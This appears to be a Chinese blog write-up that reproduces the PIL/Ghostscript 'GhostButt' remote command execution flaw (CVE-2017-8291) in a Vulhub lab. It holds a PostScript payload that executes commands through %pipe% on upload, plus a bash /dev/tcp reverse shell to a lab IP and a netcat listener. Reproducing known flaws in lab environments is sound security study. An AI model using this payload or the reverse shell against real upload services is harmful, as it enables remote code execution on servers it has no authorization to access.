首页 > 编程语言 >Python PIL 远程命令执行漏洞(GhostButt )

Python PIL 远程命令执行漏洞(GhostButt )

时间:2023-09-11 20:12:49浏览次数:48  
标签:PIL Python 漏洞 2017 GhostButt 上传 图片

目录

说明 内容
漏洞编号 PIL-CVE-2017-8291
漏洞名称 PIL 远程命令执行漏洞
漏洞评级
影响范围
漏洞描述
修复方案

1.1、漏洞描述

PIL (Python Image Library) 应该是 Python 图片处理库中运用最广泛的,它拥有强大的功能和简洁的API。很多Python Web应用在需要实现处理图片的功能时,都会选择使用PIL

PIL在对 eps 图片格式进行处理的时候,如果环境内装有 GhostScript,则会调用 GhostScript 在dSAFER模式下处理图片,即使是最新版本的PIL模块,也会受到 GhostButt CVE-2017-8291 dSAFER模式Bypass漏洞的影响,产生命令执行漏洞。

漏洞原理

1.2、漏洞等级

1.3、影响版本

1.4、漏洞复现

1、基础环境

Path:Vulhub/python/PIL-CVE-2017-8291


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8000/即可看到

image-20230911193127003

2、漏洞扫描

3、漏洞验证

正常功能是上传一个PNG文件,后端调用PIL加载图片,输出长宽。攻击者可以上传EPS文件后缀修改为PNG进行文件上传,因为后端是根据文件头来判断图片类型,所以无视后缀检查

上传poc.png

image-20230911193842423

poc.png代码主要部分:

/tmp目录下创建aaaaa

currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

image-20230911194000006

上传后返回 了图片的长度和高度

image-20230911194238498

image-20230911194337368

1.5、深度利用

1、反弹Shell

修改poc.png内容,重新上传,反弹shell到kali机器上

bash -c "bash -i &> /dev/tcp/192.168.8.8/6868 0>&1"

image-20230911194948322

kali监听6868端口

nc -lvp 6868

image-20230911194927892

标签:PIL,Python,漏洞,2017,GhostButt,上传,图片
From: https://www.cnblogs.com/saury/p/17694381.html

相关文章

  • Python实现文章查重
    软件工程https://edu.cnblogs.com/campus/gdgy/CSGrade21-12作业要求https://edu.cnblogs.com/campus/gdgy/CSGrade21-12/homework/13014作业目标个人项目github链接:https://github.com/momotaaa/3121004806题目:论文查重描述如下:设计一个论文查重算法,给出一......
  • appium+python登录传输多组数据
     #传多组数据,有几组数据,就遍历几次@pytest.mark.parametrize("usname,pswd",[("xiaoming","123456"),("xiaohong","123678")])deftest_login(self,usname,pswd):login_page=LoginPage(driver=self.driver)login_page......
  • calendar:Python日历的处理与生成
    前言calendar库让你可以输出日历,它还提供了其它与日历相关的实用函数。本篇,就将详细讲解calendar库的使用规则。prmonth()与TextCalendar()prmonth()是一个简单的函数,可以生成月的格式文本输出。具体用法如下所示:importcalendarc=calendar.TextCalendar(calendar.MONDAY)......
  • 你真的掌握了python列表用法吗
       列表是python语言中最常用的的数据类型,理解和运用好列表用法对开发工作至关重要。下面列举部分代码,请对照输出结果检验一下结合使用print语句操作列表数据的熟练程度吧。   使用print语句输出列表内容代码li=['我们','中国人民','秦国','赵国']print('例一:#编号......
  • 【Python新手参考】带界面的英文单词计数器
    事情经过昨天晚上用电脑写作文,由于不放心Word的计词器,一时又找不到合适的工具,于是索性自己写了一个。那么为什么要带界面呢?原因是我曾经尝试过input(),但是它不能处理文本中的换行,所以只能将tkinter.Text作为输入框。写完之后我发现这个东西似乎还有点参考价值,故post出来。包含......
  • python pandas学习
    importpandasaspdm_list=[('join',25,'male'),('1isa',30,'female'),('david','18','male')]df=pd.DataFrame(m_list,columns=['Name','age','gend......
  • 海康工业相机使用Python成像,web实时预览(Linux)
    Python实现海康机器人工业相机的实时显示视频流及拍照功能(Linux)代码是在ubuntu系统的orinnano板子上跑的程序,有需要的大佬自行研究更改支持网口相机和usb口相机并且理论上window和Linux通用但是我没有试windows平台代码如下:importsysfromctypesimport*importo......
  • Python - 桌面自动化(PyAutoGUI)
    一、安装windows:pipinstallpyautogui-ihttps://pypi.tuna.tsinghua.edu.cn/simplemac:pipinstallpyobjc-corepipinstallpyobjcpipinstallpyautoguilinux:sudoapt-getinstallscrotpython3-tkpython3-devpipinstallpython3-xlibpipinstallpyautog......
  • Python的requests.post函数上传文件和其他数据
    当使用Python的requests.post函数时,可以在其中添加异常处理来捕获可能的网络错误或HTTP错误。以下是一个示例代码,演示如何使用try-except语句来处理requests.post可能抛出的异常:importrequestsurl='http://cbim.com/upload'files={'file1':('file1.txt',open('file1.t......
  • python一键过杀软
    python过杀软新利用python加载shellcode过360、火绒等杀软先上代码将以下代码保存到mt.pyimportbase64importosimportshutilbuf=b"这里替换shellcode"b64buf=base64.b64encode(buf)lzsds="""importctypesimportbase64shellcode=base64.b64decode(\"......